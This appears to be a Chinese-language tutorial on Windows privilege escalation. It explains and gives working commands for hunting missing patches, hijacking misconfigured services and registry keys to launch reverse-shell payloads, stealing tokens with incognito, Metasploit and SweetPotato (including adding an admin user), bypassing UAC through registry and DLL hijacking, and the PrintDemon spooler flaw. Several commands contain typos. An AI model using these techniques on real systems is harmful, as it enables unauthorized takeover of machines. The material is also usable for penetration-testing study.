一、前言
将介绍常见的提权方法。从为什么该方法能够提权(原理)到使用方法。
二、系统内核漏洞提权
1.为什么能提权?
内核漏洞通常是指内核溢出漏洞,什么溢出呢?缓冲区溢出。
那什么是缓冲区溢出呢?当应用程序或者是内核的驱动程序在接受用户输入的数据的时候,它会把这些数据存储在缓冲区,但是当数据过多溢出的时候,这样溢出的数据可能就会覆盖栈或者堆中的数据结构,包括函数的返回地址和权限的控制信息。攻击者就会利用操作输入的数据来覆盖代替内核的关键数据结构。将恶意代码植入到内核内存中。从来达到提权。
当存在这种漏洞的时候,要及时打上补丁。当然这里就是利用没有打上补丁的系统去提权。主要就是信息收集。
2.手动寻找可利用的漏洞
使用命令去查看系统打了哪些补丁。
systeminfo
或者
wmic qfe get caption , description , hotfixid ,installedon
再去https://i.hacking8.com/tiquan/或者http://blog.neargle.com/win-powerup-exp-index/进行查询未安装补丁或搜索可用exp
3.自动寻找
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
使用Windows-Exploit-Suggester
1 ./windows-exploit-suggester.py --update
2 使用systeminfo获取系统信息,将其保存,如1.txt
3 ./windows-exploit-suggester.py --database 2023-11-04-mssb.xls --systeminfo 1.txt
三、系统服务提权
1.为什么系统服务能提权?
windows系统服务在操作系统启动时运行,并在后台调用可执行文件。但是大多数服务都是以system的权限启动的,如果让这个服务启动时区启动其他的程序,该程序就会随着服务的启动获得系统权限。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。
现在有哪些不安全的系统服务能提权呢?
2.不安全的服务权限
什么是服务权限,就是对服务操作的权限。ACL定义了安全对象的访问控制策略,就是规定哪些用户有些什么样的权限,常见的如下表。其中呢对服务的权限控制呢可能就疏忽了,给用户配置了 SERVICE_CHANGE_CONFIG (更改服务配置权限)或者 SERVICE_ALL_ACCESS(完全控制权限)。也即是说,当这个用户有这两个权限之一,他就可以修改这个服务的启动时候的二进制文件路径。让他去执行恶意文件。从而达到提权。
权限 | 说明 |
---|---|
SERVICE_START | 服务启动 |
SERVICE_STOP | 服务暂停 |
SERVICE_PAUSE_CONTINUE | 服务启动或者暂停 |
SERVICE_QUERY_CONFIG | 查询服务配置的权限 |
SERVICE_CHANGE_CONFIG | 更改服务配置的权限 |
SERVICE_ALL_ACCESS | 完全控制权限 |
那我们只要找“Authenticated Users"组和”INTERACTIVE“组的对系统服务的权限是否有SERVICE_CHANGE_CONFIG或者SERVICE_ALL_ACCESS的权限。
为什么找这两个组呢?因为这两个组是计算机本地users组的成员。
怎么查询呢?可以使用工具accesschk
使用以下命令进行查询:
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
或者
accesschk.exe /accepteula -uwcqv "INTERCTIVE" *
这样就能查询该组是否有更改服务配置的权限。
例如发现 InsproSvc 服务具有SERVICE_CHANGE_CONFIG的权限。那么就可以将该服务启动时执行的二进制文件替换成预先上传的攻击载荷。当服务重启攻击载荷(reverse_tcp)就会继承系统权限。如下命令进行替换
sc config Insprosvc binpath= "cmd.exe /k C:\Users\Public\reverse_tcp.exe"
# 指定insprosvc服务的二进制文件路径,=后要有空格
重启服务之后就会生效。
sc stop insprosvc
sc start insprosvc
3.服务注册表权限
和2一样,如果低用户对某些服务的注册表拥有写入权限,那么就可以修改服务的启动路径为攻击载荷路径。
Accesschk.exe 查看用户是否有这些权限
accesschk.exe /accepteula -uwcqv "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services
假设发现对RegSvc服务具有完全控制的权限。那么就修改路劲
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Service\RegSvc /v ImagePath /t REG_EXPAND_SAZ /d “cmd.exe /k C:\users\public\revers_tcp.exe" /f
使用命令查看是否拥有重启权限
accesschk.exe /accepteula -uwcqv "Authenticated Users" RegSvc
有的话重启就可提权
4.服务路径权限可控
某个服务的二进制文件权限可以写入,那么就可以将载荷攻击文件写在那。
wmic service get displayname,startmode,pathname|findstr /i “Auto” | findstr /i /v “C:\Windows\”
探测符合条件的服务
如果发现某个服务的路径可写。那么就将那个服务的可运行文件替换成同名的攻击载荷。
upload /root/reverse_tcp "c:\program\xx\xx.exe"
再重启服务即可提权。
5.powerup
当然上述的所有关于服务的提权,powerup中都有涉及。https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
详细使用参考https://blog.csdn.net/l1028386804/article/details/86089574?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169917767416800225535038%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169917767416800225535038&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-86089574-null-null.142v96pc_search_result_base5&utm_term=PowerUP&spm=1018.2226.3001.4187
基本使用
1.导入模块 Import-Module .\PowerUp.ps1
2.一键查询服务Invoke-AllChecks
四、令牌窃取
1.什么是令牌窃取?为什么能提权?
首先得知道什么是令牌?这里的令牌窃取通常是指进程的访问令牌的窃取?那什么是访问令牌?访问令牌是描述进程安全上下文的对象,包含了与该进程相关的用户账户标识和特权等信息。
然后就可以通过操作一个高权限进程的访问令牌来 当做一个进程的令牌。就是说偷其他进程的令牌来用。然后就可以拥有那个令牌自身拥有的权限。
能偷其他进程的访问令牌的条件:该用户必须有SeImpersonatePrivilege 和SeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege权限。而这两个权限的用户通常是系统管理员账户,web服务账户,和IIs MsSQL账户等。
2.直接令牌窃取(直接偷)
2.1 使用incognnito.exe。上传到主机。
incognito.exe list_tokens -u #列举当前主机上的所有访问令牌
incognito.exe execute -c "NT AUTHORITY\SYSTEM" whoami
#-c 偷令牌,whoami 偷完后执行的命令
incognito.exe execute -c "travel-me\Bob" cmd
偷域下Bob的令牌,然后执行它的。也就是切换到Bob的用户。
2.2 使用MetaSploit 偷
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
steal_token <PID> #偷上面所列进程的ID令牌
有时候system 权限也有更改不了的东西,比如Windows系统文件,那么就可以偷TrustedInstaller权限。
sc start TrustedInstaller 启动服务
steal_token
3.Potato土豆提权
potato家族有很多小偷,专门偷人家的令牌。比如:Rotten Potato 烂土豆,Juicy potato 等。
甜土豆集成了大多数土豆https://github.com/uknowsec/SweetPotato
使用 命令
sweetpotato.exe -a <命令>
#比如 sweetpotato.exe -a whoami
sweetpotato.exe -a "net user test Admin&1 /add"
sweetpotato.exe -a "net user localgroup Administrator test /add"
添加管理员用户。
五、绕过UAC
1.什么是UAC?绕过他为什么就能提权?
UAC (user Account Control)用户账户控制,用来管理操作系统不让他乱安程序。在安装软件的时候一般都会弹出来一个是否允许安装的提示,就是那个东西。
绕过它之后咱就可以安装恶意软件了呗。然后就可以提权。但严格意义上来说也不是提权,只是绕过了这种保护机制。
2.通过UAC白名单绕过
什么是UAC白名单?操作系统自己有一些进程在运行的时候不需要通过验证就直接可以运行,这些程序在UAC白名单中,比如:slui.exe.taskmgr.exe等。
当这些程序运行的时候可以通过DLL劫持,DLL注入或者注册表劫持等 绕过DLL去执行我们的恶意程序。
这里举例注册表劫持:
2.1 首先使用工具找出白名单的程序。
在UAC白名单中的程序都有一个特点,就是Mainfest数据中的autoElevate属性的值为True。
strings.exe 可以检测程序是否有autoElevate 属性,从而找出白名单的程序:
strings.exe /accepteula -s C:\windows\system32\*.exe | findstr /i "aotoElevate"
假如ComputerDefaults.exe 进程:
打开这个exe,没有验证直接进入默认应用界面。
通过进程监控 分析该进程会发现,它会先去访问HKCU\Software\Classes\ms-settings\shell\open\command,发现没东西后再去访问 HKCR\ms-settings\Shell\Open\Command\DelegateExecute.
然后我们就可以劫持HKCU\Software\Classes\ms-settings\shell\open\command 中的默认值和 DelegateExecute
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe" #可以是攻击载荷的路径。
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\windows\system32\cmd.exe"
当这个应用重启的时候就会反弹或者打开cmd,然后getsystem
3.DLL劫持
什么是DLL劫持,程序通常并不是一个完整的可执行文件,被分割成一些DLL文件。当应用程序加载DLL时,如果没有指定DLL的绝对路径,那么程序就会以特定的顺序去遍历搜索加载的DLL,如果将同名的恶意的DLL文件放在真正的DLL之前,那么就会被劫持。这就是劫持。
但是这前提是这个遍历目录可写。这个目录通常又不可写。所以这个技术通常和模拟可信任技术来配合使用。
所以提出下面这个 模拟可信任目录
4.模拟可信任目录
之前说了UAC白名单中的程序的manifest 数据中的autoElevate为true,当执行的时候,不但要检查这个条件,还要检查这个程序是否在可信任目录C:\windows\system32中。两者缺一不可。但是当系统在检查可信任目录时,会自动去除路径中的空格。比如
”C:\Windows \system32" 会被解析成 “C:\windows\system32”
那么我们就可以创建一个”C:\Windows \system32"目录,把白名单中的程序复制进这个含空格的目录中。再把恶意DLL文件放到这个模拟的可信任目录中。然后运行这个模拟目录中的可执行程序。就会达到绕过UAC DLL劫持提权的效果。
md "\\?\C:\Windows "
md "\\?\C:\Windows \System32"
copy C:\Windows\System32\winSTA.exe "C:\Windows \System32\winSAT.exe"
但是制作DLL的时候,要注意恶意DLL的导出函数要与被劫持的DLL一样。
专业名词解释:DelegateExecute 是 Windows 操作系统中的一个 COM (Component Object Model) 接口,它通常与应用程序扩展和外部处理程序相关。DelegateExecute 接口允许一个应用程序或组件将某些任务委托给其他程序或处理程序来执行,通常是为了增强功能或实现某种定制化的行为。
Manifest 数据指的是一个应用程序清单(Application Manifest),它是一个用于描述应用程序特性、依赖关系、权限要求以及其他元数据的 XML 文件。应用程序清单通常附加到应用程序的可执行文件(如 .exe 文件)或动态链接库(DLL)中,以便操作系统和其他程序能够正确地识别和与应用程序互动。
5.使用MSF下的Bypass模块绕过UAC
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit
六、Print Spooler 打印服务提权
Print spooler 服务是Windows 的打印后台处理服务,用来管理本地和网络的打印队列。
1.PrintDemo (CVE-2020-1048)
这个漏洞就是,用户可以在系统上写入任意文件。为什么能写入文件呢?
在Windows 上添加打印机的时候需要设置端口,这些端口可以是LPT1端口,USB端口,网络端口,也可以是文件,当是一个文件路径的时候,那么打印机就会把数据打印到指定的文件。但是标准用户想要将路径设置到受保护的路径的时候就会因为没有权限而失败。
但是微软为了应对打印过程中突然中断或者异常情况,引入了假脱机打印机制,什么意思?就是说当打印出现异常的时候可以重启然后继续打印。
然而这就会有一个问题,当重启服务的时候会直接调用system权限来恢复之前的打印作业。如果此时的打印机的端口为文件路径,那么就会造成任意文件写入。
关于这个漏洞https://bbs.kanxue.com/thread-261557.htm